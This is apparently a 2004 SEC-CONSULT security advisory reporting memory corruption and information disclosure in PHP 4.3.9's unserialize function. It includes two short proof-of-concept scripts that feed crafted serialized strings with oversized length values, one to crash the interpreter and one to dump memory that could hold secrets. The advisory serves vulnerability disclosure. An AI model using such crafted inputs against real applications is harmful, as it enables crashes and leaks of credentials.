Home  Services  Contact  Projects  Whitepapers  Tools  Partners 



==============================================================
SEC-CONSULT Security Advisory PHP - 4.3.9 unserialize function
======================OOOOOOOOOOOO============================

Product: PHP 4.3.9 (Win32/Unix)
Remarks: no other Versions tested but very likely vulnerable

Vulnerablities:

- Data Segment memory corruption
- Information disclosure / Memory dumping

Vendor: PHP (http://www.php.net/)
Vendor-Status: vendor contacted (19.11.2004)
Vendor-Patchs: --

Object: ---

Exploitable:
Local: PARTIAL
Remote: PARTIAL

============
Introduction
============

Visit "http://www.php.net" for additional information.


=====================
Vulnerability Details
=====================


1) Memory Corruption / buffer overflow
======================================

FUNCTION:
unserialize (http://at.php.net/manual/en/function.unserialize.php)

DESCRIPTION:
Insufficient input validation of serialized strings lead to memory corruption and information disclosre.

EXAMPLE script - "Segfault":
---cut here---
<?
$s = 's:9999999:"A";"';
$a = unserialize($s);
print $a;
?>
---cut here---

REMARKS:
We did not investige any further yet. But it seems to be an malloc or emalloc problem.


EXAMPLE script - "Memory Dump":
---cut here---
<?
// session- and stuff
$secret_username="uaaaa";
$secret_password="hoschi";

// stuff
// $c = $_COOKIE ['crypted_stuff']
// $c = some cookie
/* simplyfied --> userinput */ $c = 's:30000:"crap";';

$userdata = unserialize($c);
//
// check $userdata stuff
// for some reason output $userdata
print $userdata . "\n is NOT valid !!\n";

// stuff
?>

---cut here---


REMARKS:
Could theoretically be used to circumvent safe-mode.


===============
GENERAL REMARKS
===============
We would like to apologize in advance for potential nonconformities and/or known issues.


====================
Recommended Hotfixes
====================

Vendor-Patches: ---

=======
Contact
=======

SEC-CONSULT
Austria / EUROPE
m.eiszner@sec-consult.com


EOF Martin Eiszner / @2004m.eiszner@sec-consult.com

Home  Services  Contact  Projects  Whitepapers  Tools  Partners